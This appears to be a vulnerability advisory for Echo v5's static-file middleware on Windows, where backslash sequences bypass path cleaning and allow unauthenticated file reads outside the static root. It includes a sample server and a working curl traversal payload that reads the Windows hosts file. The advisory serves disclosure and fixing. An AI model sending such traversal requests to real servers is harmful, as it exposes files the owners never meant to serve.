Summary

On Windows, Echo’s middleware.Static using the default filesystem allows path traversal via backslashes, enabling
unauthenticated remote file read outside the static root.

Details

In middleware/static.go, the requested path is unescaped and normalized with path.Clean (URL semantics).
path.Clean does not treat \ as a path separator, so ..\ sequences remain in the cleaned path. The resulting
path is then passed to currentFS.Open(...). When the filesystem is left at the default (nil), Echo uses defaultFS
which calls os.Open (echo.go:792). On Windows, os.Open treats \ as a path separator and resolves ..\,
allowing traversal outside the static root.

Relevant code:

• middleware/static.go (path unescape + path.Clean + currentFS.Open)
• echo.go defaultFS.Open → os.Open

This is the same class as CVE-2020-36565 (fixed in v4 by switching to OS-aware cleaning), but in v5 the path.Clean

• defaultFS combination reintroduces the Windows backslash traversal.

PoC

Windows only.

Sample code (main.go):

package main

import (
      "log"
      "net/http"

      "github.com/labstack/echo/v5"
      "github.com/labstack/echo/v5/middleware"
)

func main() {
      e := echo.New()

      // Important: use middleware.Static with default filesystem (nil)
      e.Use(middleware.Static("public"))

      e.GET("/healthz", func(c *echo.Context) error {
              return c.String(http.StatusOK, "ok")
      })

      addr := ":1323"
      log.Printf("listening on %s", addr)
      if err := e.Start(addr); err != nil && err != http.ErrServerClosed {
              log.Fatal(err)
      }
}

Static file:

public/index.html

(content can be any HTML)

Run:
go run .

Verify:

curl http://localhost:1323/index.html
curl --path-as-is "http://localhost:1323/..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts"
Expected: 404

Screenshot:

Impact

Path traversal (CWE-22) leading to arbitrary file read outside the static root. Any unauthenticated remote user can
read local files that the Echo process has access to on Windows, if middleware.Static is used with the default
filesystem.